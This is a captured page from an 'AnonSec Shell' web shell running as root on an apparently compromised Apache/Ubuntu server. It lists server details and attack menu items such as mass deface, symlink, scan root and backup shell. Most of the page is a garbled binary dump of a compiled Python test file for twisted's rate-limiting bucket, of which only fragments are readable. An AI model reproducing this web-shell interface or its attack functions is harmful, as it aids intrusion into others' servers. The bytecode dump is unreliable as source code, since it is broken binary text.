AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_htb.cpython-310.pyc
o

�bR�@s�ddd�ZddlmZddlmZddlmZGdd	�d	�ZGd
d�dej�Z	Gdd
�d
ej
�ZGdd�de�ZGdd�de�Z
Gdd�de�ZdS)z$Revision: 1.3 $�����)�htb)�unittest�)�
DummyConsumerc@s eZdZdZdd�Zdd�ZdS)�
DummyClockrcCs
||_dS�N��time)�self�when�r�7/usr/lib/python3/dist-packages/twisted/test/test_htb.py�set
s
zDummyClock.setcCs|jSr	r
�rrrr�__call__szDummyClock.__call__N)�__name__�
__module__�__qualname__rrrrrrrr
src@seZdZdZdZdS)�
SomeBucket�d�N)rrr�maxburst�raterrrrrsrc@seZdZdd�Zdd�ZdS)�TestBucketBasecCstj|_t�|_|jt_dSr	)rr�
_realTimeFuncr�clockrrrr�setUpszTestBucketBase.setUpcCs|jt_dSr	)rrrrrrr�tearDownszTestBucketBase.tearDownN)rrrrrrrrrrsrc@�$eZdZdd�Zdd�Zdd�ZdS)�BucketTestscCs t�}|�d�}|�d|�dS)z1
        Testing the size of the bucket.
        ��rN)r�add�assertEqual�r�b�fitrrr�testBucketSize$s
zBucketTests.testBucketSizecCs6t�}|�d�}|j�d�|�d�}|�d|�dS)z2
        Testing the bucket's drain rate.
        r"�
�N)rr#rrr$r%rrr�testBucketDrain,s


zBucketTests.testBucketDraincCsPt�}|�d�|j�d�|��}|�|�|j�d�|��}|�|�dS)z\
        L{htb.Bucket.drip} returns C{True} if the bucket is empty after that drip.
        r*�	r)N)rr#rr�drip�assertFalse�
assertTrue)rr&�emptyrrr�test_bucketEmpty6s

zBucketTests.test_bucketEmptyN)rrrr(r+r1rrrrr!#s
r!c@r )�BucketNestingTestscCs.t�|�t�|_t|j�|_t|j�|_dSr	)rrr�parent�child1�child2rrrrrEs
zBucketNestingTests.setUpcCs(|j�d�|j�d�}|�d|�dS)N�Zr))r4r#r5r$�rr'rrr�testBucketParentSizeKsz'BucketNestingTests.testBucketParentSizecCs<d|j_|j�d�|j�d�|j�d�}|�d|�dS)Nrrr))r3rr4r#rrr$r7rrr�testBucketParentRateQs
z'BucketNestingTests.testBucketParentRateN)rrrrr8r9rrrrr2Dsr2c@r )�ConsumerShaperTestscCs0t�|�t�|_t�|_t�|j|j�|_dSr	)	rrr�
underlyingr�bucketr�ShapedConsumer�shapedrrrrrcs
zConsumerShaperTests.setUpcCsTd}|j�d�|j�d�|j�|�|j��|�t|j	�
��||jj�dS)Nr)r�dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)r<r#r>�writerr�resumeProducingr$�lenr;�getvaluer)r�delta_trrr�testRateis
"zConsumerShaperTests.testRatecCs.|�|jjd�|j��|�|jjd�dS)Nrr)r$r<�	_refcountr>�
stopProducingrrrr�testBucketRefsss
z"ConsumerShaperTests.testBucketRefsN)rrrrrErHrrrrr:bs
r:N)�__version__�twisted.protocolsr�
twisted.trialr�test_pcprr�Bucketr�TestCaserr!r2r:rrrr�<module>s

!

Anon7 - 2022
AnonSec Team